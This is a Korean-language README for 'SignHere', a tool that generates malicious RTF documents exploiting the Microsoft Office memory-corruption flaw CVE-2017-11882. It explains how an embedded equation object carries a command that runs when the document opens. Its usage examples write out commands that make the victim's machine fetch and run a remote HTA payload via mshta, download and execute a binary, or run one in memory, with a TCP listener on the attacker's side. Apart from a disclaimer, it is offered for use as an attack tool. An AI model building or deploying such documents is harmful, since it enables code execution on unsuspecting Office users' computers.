SignHere

소개

CVE-2017-11882 - Microsoft Office 2007 Service Pack 3, Microsoft Office 2010 Service Pack 2, Microsoft Office 2013 Service Pack 1 및 Microsoft Office 2016의 고유 취약점 식별자로, 메모리 내 객체를 적절히 처리하지 못하여 현재 사용자 컨텍스트에서 코드를 실행할 수 있도록 하는 "Microsoft Office 메모리 손상 취약점"입니다. 이 구현은 악성 rtf 문서와 VBScript 페이로드를 생성하는 프로그램을 만드는 것을 포함합니다.

작동 원리

RTF 문서는 특수 명령(RTF 헤더)을 알면 "프로그래밍"할 수 있기 때문에 취약합니다. 따라서 문서 본문에 바이너리(실행 가능) 객체가 생성되며, 실제로는 cmd 명령이 포함된 Microsoft Equation 수식입니다. 그런 다음 VBScript로 페이로드를 생성하고 "mshta 페이로드 파일 링크" 명령을 사용하여 hta 파일을 실행할 수 있습니다.

주의!

작성자와 기여자는 귀하 또는 귀하로 인해 발생한 모든 손해에 대해 책임을 지지 않습니다.

설치

이 프로그램은 실행을 위해 Python 3이 필요합니다.

Linux

Termux를 사용할 수 있지만 프로그램 실행에는 root 권한이 필요합니다.

git clone https://github.com/Retr0-code/SignHere/
cd SignHere/
chmod +x SignHere.py
./SignHere.py --help

Windows

먼저 아카이브를 다운로드해야 합니다. 그런 다음 압축을 풀고 이 폴더에서 PowerShell 창을 열고 다음을 입력합니다:

.\SignHere.py --help

사용법

./SignHere.py --cmd "mshta http://192.168.1.74/pay.hta" --powershell "start iexplore.exe https://github.com/Retr0-code/SignHere" --ip 192.168.1.74 --output generated.rtf

--cmd 문서를 연 후 실행될 Windows 명령어를 지정하는 인수입니다.

--powershell VBScript 페이로드에 포함될 PowerShell 명령어를 지정하는 인수입니다.

--ip 웹 서버에 사용될 IP 주소를 지정하는 인수입니다. (기본값: 127.0.0.1)

--output 문서의 이름과 경로입니다.

./SignHere.py --cmd "mshta http://192.168.1.74/pay.hta" --temp exploit.exe --ip 192.168.1.74 --output generated.rtf

--temp 바이너리 파일을 페이로드로 사용하는 인수입니다. (바이너리 파일은 RAM 메모리에서 실행됩니다.)

./SignHere.py --cmd "mshta http://192.168.1.74/pay.hta" --payload exploit.exe --ip 192.168.1.74 --listener-host 192.168.1.74 --output generated.rtf

--payload 피해자 컴퓨터에 파일을 다운로드하여 실행하는 인수입니다.

--listener-host 현재 IP에서 TCP 리스너를 시작하기 위한 인수입니다. (기본값: 127.0.0.1)